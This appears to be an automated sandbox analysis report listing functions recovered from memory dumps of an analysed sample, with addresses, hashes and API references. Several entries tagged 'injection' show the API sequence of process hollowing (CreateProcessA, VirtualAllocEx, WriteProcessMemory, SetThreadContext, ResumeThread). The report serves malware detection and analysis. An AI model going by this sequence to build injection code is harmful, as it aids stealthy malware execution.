Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 82174d528c96a3f7d4d547d4c2c0b42fab7f3ca214f17512fd670d7b5080b300
Instruction ID: 5fddfeb16bb288e596ad07a6f90fab7f7eae75bfcb08a0afb0d368fd268a7159
Opcode Fuzzy Hash: 82174d528c96a3f7d4d547d4c2c0b42fab7f3ca214f17512fd670d7b5080b300
Instruction Fuzzy Hash: 6E21E375214109EF8B08DF89D890DABB3BAFF89214B508549E91A97350CB31EE16CBA1

Function 05BC0048 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

Te]q, xrefs: 05BC0077
TJbq, xrefs: 05BC008F

Memory Dump Source

Source File: 0000000E.00000002.2658558268.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5bc0000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID: TJbq$Te]q
API String ID: 0-3147309840
Opcode ID: 613fedd2cc51f2d461ffc800905a2e109f3300884497829a4b820ba963668df7
Instruction ID: 3b449671fc6567e7e079993f56c697a315c05329b0d962a4e0237127b2ef643e
Opcode Fuzzy Hash: 613fedd2cc51f2d461ffc800905a2e109f3300884497829a4b820ba963668df7
Instruction Fuzzy Hash: AC110330B101145BDB14FBA898A97BFBAF6EF88610F00046DE406AB3D0CE259D0987E6

Function 68958BC0 Relevance: 2.6, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,68956890,?), ref: 68958BDD
LeaveCriticalSection.KERNEL32(?), ref: 68958C23

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 225d4faec24a380eba320b1a613d0b0f24498842e2c20403d75ff2d2bf6834f6
Instruction ID: a641fe804228fdc02cf11536a12ce381697f8d5fc0ead19975a644512c458f30
Opcode Fuzzy Hash: 225d4faec24a380eba320b1a613d0b0f24498842e2c20403d75ff2d2bf6834f6
Instruction Fuzzy Hash: 9901BCB1349104AFC714DFA8CC9099BF3A8FB982107504269E905C7300DB32EE60CBD1

Function 0526BF50 Relevance: 1.8, APIs: 1, Instructions: 295processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0526C21F

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: bc3c410ed4f1f622f0ad69fcaf9a3482880f3bb6cb1e4c087d39d3afb1c31d54
Instruction ID: dbfb5c86927766005f10f293d79aa233463c4de82ebb02ec5823e9571259832d
Opcode Fuzzy Hash: bc3c410ed4f1f622f0ad69fcaf9a3482880f3bb6cb1e4c087d39d3afb1c31d54
Instruction Fuzzy Hash: F7B112B0D142598FDF10DFA8C885BEEBBB2BF09304F149169E899B7280D7749985CF81

Function 0526BF4F Relevance: 1.8, APIs: 1, Instructions: 293processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0526C21F

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cbfcccc957f8669306ffde93f597f1dc1b6e5a131144c59b40f96dcd163b4784
Instruction ID: 99fb0da8e102e421c3df02df9d2f28fc026518692789110bb972d80dd1f7546a
Opcode Fuzzy Hash: cbfcccc957f8669306ffde93f597f1dc1b6e5a131144c59b40f96dcd163b4784
Instruction Fuzzy Hash: 79B112B0D142598FDF14DFA8C885BEEBBB2BF09304F149169E899B7280D7749985CF81

Function 6896E2CE Relevance: 1.7, APIs: 1, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: f68b760fb93fc72ff34f08d8c59c2c73af445fb31416535bde973d597349ceb3
Instruction ID: 9e750c4002898d411f0523306eef3bceeaec2448292bfdd64f38e71dc682bc96
Opcode Fuzzy Hash: f68b760fb93fc72ff34f08d8c59c2c73af445fb31416535bde973d597349ceb3
Instruction Fuzzy Hash: D9818EF59083418FEB20DFB8888572EBBE4BF91318FA4497ED1698B291D771D4848B53

Function 0526C668 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0526C745

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b43be8966759b90812df2812f9a8d0b47b035c7fa45ad410eb4afddbaf6c7010
Instruction ID: ebcffdfa86f93057513865bb7088ae06083b36a3fe189831ca9828f42c473b83
Opcode Fuzzy Hash: b43be8966759b90812df2812f9a8d0b47b035c7fa45ad410eb4afddbaf6c7010
Instruction Fuzzy Hash: 134178B5D102589FCB00DFA9D984ADEFBF5BF49310F14902AE818B7210D375A985CB64

Function 0526C670 Relevance: 1.6, APIs: 1, Instructions: 115injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0526C745

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 14cb4abe3428ef6cfccd58cb18a1da66bc11b1ec7490efd1f6ccc997262c88aa
Instruction ID: 2388aed965b0dbc7ef8d1374b0e05ee5b81213b7d9f44fd95e86e127c82e0305
Opcode Fuzzy Hash: 14cb4abe3428ef6cfccd58cb18a1da66bc11b1ec7490efd1f6ccc997262c88aa
Instruction Fuzzy Hash: 494166B5D102589FCB00DFA9D984AAEFBF5BF49310F24902AE818B7210D375A985CF64

Function 0526C548 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0526C5FC

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a48ca369d9e218f21dcedd5afe1ea8bb929064beec69f7e3e9965d2cbe388cc8
Instruction ID: 24f4c4069ff71167d6545a3ffb566db668e5fa432e16867ef6cdc20ce992d975
Opcode Fuzzy Hash: a48ca369d9e218f21dcedd5afe1ea8bb929064beec69f7e3e9965d2cbe388cc8
Instruction Fuzzy Hash: 3C4166B9D012589FCF10DFA9D984A9EFBB1FF49310F14901AE818BB310D375A941CB68

Function 0526C550 Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0526C5FC

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c73e3ea25f297118cb9e03960780c9051e766592fd25c31286d7dc73983382da
Instruction ID: ec9745a7d5c6cca9849edce125e7025954dcba6db12de716c90cb949373de60b
Opcode Fuzzy Hash: c73e3ea25f297118cb9e03960780c9051e766592fd25c31286d7dc73983382da
Instruction Fuzzy Hash: 453155B9D012589FCF10DFA9D984A9EFBB5BF59310F14A01AE818B7310D375A941CF68

Function 0526C449 Relevance: 1.6, APIs: 1, Instructions: 84threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0526C4DB

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7af379fb91929977c6bec91fed327ebc37bde50f21470a49cba70077e7e982b2
Instruction ID: a0f1d4522bfd32c5a07d34c90d5019c0eab4ed2a8945586afcba6ca246332e74
Opcode Fuzzy Hash: 7af379fb91929977c6bec91fed327ebc37bde50f21470a49cba70077e7e982b2
Instruction Fuzzy Hash: E731BCB4D112589FCB10DFA9D584AEEFBF0AF09310F24902AE818B7350D778A944CF64

Function 0526C450 Relevance: 1.6, APIs: 1, Instructions: 81threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0526C4DB

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e3421949cfeeeb3aa69e50a37809ca51cf18dcde04f170a95db44580f268b4ed
Instruction ID: 3b845363b28b080c53e446a4d83695f4c417f162c0031d2a09c3cbd9e90094ea
Opcode Fuzzy Hash: e3421949cfeeeb3aa69e50a37809ca51cf18dcde04f170a95db44580f268b4ed
Instruction Fuzzy Hash: CA319BB4D012589FCB10DFA9E584AAEFBF4AF49310F24905AE818B7250D778A944CF64

Function 0526C7C0 Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0526C845

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e409ccbd8e1d66112ac31c7652f0ea9d6c6e37a478f4e20e7314bef5851304b6
Instruction ID: 9c35b136f06a6343c30253ec8a81acd77fd7e23f69f745ace1fc36fb55b91203
Opcode Fuzzy Hash: e409ccbd8e1d66112ac31c7652f0ea9d6c6e37a478f4e20e7314bef5851304b6
Instruction Fuzzy Hash: 323196B4D112589FCB10DFA9D984A9EFBF5AF09310F14902AE819B7310C775A941CFA4

Function 0526C7C8 Relevance: 1.6, APIs: 1, Instructions: 71threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0526C845

Memory Dump Source

Source File: 0000000E.00000002.2643796409.0000000005260000.00000040.00000800.00020000.00000000.sdmp, Offset: 05260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5260000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d51c4d9241f7fda7a6e6c4fb956813033726d131e45696b32d0c3cbe43fadb0b
Instruction ID: 6dbf3030862890ede3b2bd148bcf36409bb3c05b04cc75a29ca9f88d234bf2a6
Opcode Fuzzy Hash: d51c4d9241f7fda7a6e6c4fb956813033726d131e45696b32d0c3cbe43fadb0b
Instruction Fuzzy Hash: 6031A7B4D112589FCB10DFA9D984A9EFBF5BF09310F10902AE818B3310C775A941CFA4

Function 6896EA40 Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

SysAllocString.OLEAUT32 ref: 6896EA8D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: ef2c1520639b81e34d56689e3b7de6bba8f9fea7ab9f4e519752e405caa9ccc1
Instruction ID: 3d4ba3f444207b5a8aca2a3d24b0e9b99c45deadf0df6f5e0c1776281c6d5a36
Opcode Fuzzy Hash: ef2c1520639b81e34d56689e3b7de6bba8f9fea7ab9f4e519752e405caa9ccc1
Instruction Fuzzy Hash: E6018075904655EBE310CF98C904B6AB7A8FB05B28F50435AE865A7380D7B6D9408BD1

Function 689A9D21 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 689AE8DC

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: H_prolog3_catch_malloc
String ID:
API String ID: 529455676-0
Opcode ID: e18f9d2832c1047159e9b6a6c0adbdf117bffe0258df3e0194034c074532ac36
Instruction ID: dd28b1a6be05524c616ee08d5f8a25cfb81597045a98ea5d8c03656056329a38
Opcode Fuzzy Hash: e18f9d2832c1047159e9b6a6c0adbdf117bffe0258df3e0194034c074532ac36
Instruction Fuzzy Hash: 8BD05E3991420897CF41EB98C509B7D7BB0AB81329FD00065E0087A280DB72CA008796

Function 689AA510 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMT ref: 689AA510

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 27b748a9c275510458f0068f842967d98f7d0f67ac18c1338cd75791cb2cbf1f
Instruction ID: 000165e5ea25f4d0c5fe48f3001be1cbcd596a29ddd09b3b13981b88b5cd789b
Opcode Fuzzy Hash: 27b748a9c275510458f0068f842967d98f7d0f67ac18c1338cd75791cb2cbf1f
Instruction Fuzzy Hash: 15C09B391043089F8B04CF10F440C7E7755AB64228760D115FC18167509B31D561D754

Function 02A28C28 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

8aq, xrefs: 02A28D19

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID: 8aq
API String ID: 0-538729646
Opcode ID: dabf4d2ca8a46dd9f2806c6f7dc4d3dceb551974f8569d34284f15676158f051
Instruction ID: 0c5c0487bb4d19eea9ab6765fe64931a4648de85269436574a8ec257cceafdb2
Opcode Fuzzy Hash: dabf4d2ca8a46dd9f2806c6f7dc4d3dceb551974f8569d34284f15676158f051
Instruction Fuzzy Hash: 06411774D06228CFCB04DFA9D5846EDBBF6BF89300F14A42AE405B7260DB389949DF64

Function 02A2B4E8 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

Haq, xrefs: 02A2B57C

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 7a59f2c99938849ce15a88d2c0fc423050f4c1af7a027978257ce03565b80833
Instruction ID: 0362fb7cc22d044e18c314a54d7c12823c85f8236c7ec4604de1b81c2032ba78
Opcode Fuzzy Hash: 7a59f2c99938849ce15a88d2c0fc423050f4c1af7a027978257ce03565b80833
Instruction Fuzzy Hash: 93212630A08244AFE7019F798C517FA3F7AEF85300F1088A6E546DB292DA34DE05DBA1

Function 02A29970 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92426e3e1e4897ae6aa95fac9be48ad7c68ab4301c1121b0a9e63da97f2cb768
Instruction ID: 7725d50d7e7542b86c0ca5c48e545fd00562afda1b77f7766cce3d6bb885739d
Opcode Fuzzy Hash: 92426e3e1e4897ae6aa95fac9be48ad7c68ab4301c1121b0a9e63da97f2cb768
Instruction Fuzzy Hash: D8216030E042189BDB04EBB9D8947EFBBB6EF88710F205529D405B7294CF349D45CB61

Function 02A20CE6 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cb9bc0b8b6ad2a9c5d8fb636d2fed58594c1fa4ca7c9e81cd2197591f33837d
Instruction ID: 83367a5ef6744e5e9f71013bca7f62d2b46b010357f7bb28f85fb382bb67fb63
Opcode Fuzzy Hash: 3cb9bc0b8b6ad2a9c5d8fb636d2fed58594c1fa4ca7c9e81cd2197591f33837d
Instruction Fuzzy Hash: 66319574E00209DFDB04DFE9D994AAEBBBAFF88300F108515E919A7365CB34AD46CB40

Function 02A20A20 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 784bb711dea107b2ae3401f302230e97456183601d5a027452d09c7c6c159321
Instruction ID: 710016b33924b3b81794ee12a5acc4c62db1d34d49ee702249e8648f63d71683
Opcode Fuzzy Hash: 784bb711dea107b2ae3401f302230e97456183601d5a027452d09c7c6c159321
Instruction Fuzzy Hash: B4214474C08318CFCB04DFA9D8846EEBBBAFB9A300F909569D005B3251DB755A49DF50

Function 05BC0848 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2658558268.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5bc0000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530f7803fc92263716e16ed37facde2213bb4cf71e5b8d7b451b97fc72a8f8a0
Instruction ID: a37b4efa178c87f093d061f4d3edf694aec793b30bb6f634d74212c16de14c98
Opcode Fuzzy Hash: 530f7803fc92263716e16ed37facde2213bb4cf71e5b8d7b451b97fc72a8f8a0
Instruction Fuzzy Hash: 4721D1353012048FCB05EBA8D898ABD7BF5EF8962070540EAE509CB372DB34DD00CBA0

Function 00FBD964 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2483107229.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_fbd000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f9bc5d2d6c9bba782a97242d3eade06b2946948d0aa520da96063a896f0ca42
Instruction ID: 891dcf7a62c1cc1773fe57f79eb51d5a31bfff92b669619383b7f0586dcfad52
Opcode Fuzzy Hash: 0f9bc5d2d6c9bba782a97242d3eade06b2946948d0aa520da96063a896f0ca42
Instruction Fuzzy Hash: 0C21F272904244DFDB05DF14D9C0B66BB69FB88324F248569E9090B256D33AD80AEFA3

Function 05BC2516 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2658558268.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5bc0000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c51cc8978f8a37c16806461df23969573725899821cdedcebcb53012007afd40
Instruction ID: b7ad80bb0bce3f9fd6ca1f34c2939ea4908bc716c55bf66d2d7e3c1d197e4cb0
Opcode Fuzzy Hash: c51cc8978f8a37c16806461df23969573725899821cdedcebcb53012007afd40
Instruction Fuzzy Hash: F8215C74A102058FCB14DF68D5A0A6EBBF3AF84310F55C999E856DB394DB34EC42CB85

Function 00FBDA4C Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2483107229.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_fbd000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6160d1ee4751f17d55acd583ca31d699f19b5f590f8f57745d8d60c2b26af0e
Instruction ID: b0d7de2df232246df50125a4b8b42d91cdac8adb8e4be3e559a83364550bdfb7
Opcode Fuzzy Hash: b6160d1ee4751f17d55acd583ca31d699f19b5f590f8f57745d8d60c2b26af0e
Instruction Fuzzy Hash: 86213772904344DFCB05DF14D980B66BF69FB84324F24C569D9094B252D33AD805EBA2

Function 00FBD44C Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2483107229.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_fbd000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 075de7d2bbdbab6d3e4d044809441a15bc8264f1f4edfcd3d5fa3902a6eb1a23
Instruction ID: 0cbf3f561ecc384c0f4c2914f65f40a37748e085a780285ad27b605af60061ea
Opcode Fuzzy Hash: 075de7d2bbdbab6d3e4d044809441a15bc8264f1f4edfcd3d5fa3902a6eb1a23
Instruction Fuzzy Hash: 6F212372A04200EFDB14DF15D9C0B66BF69FB84328F24C569D80D0B255D33AE846DAA3

Function 02A2B010 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

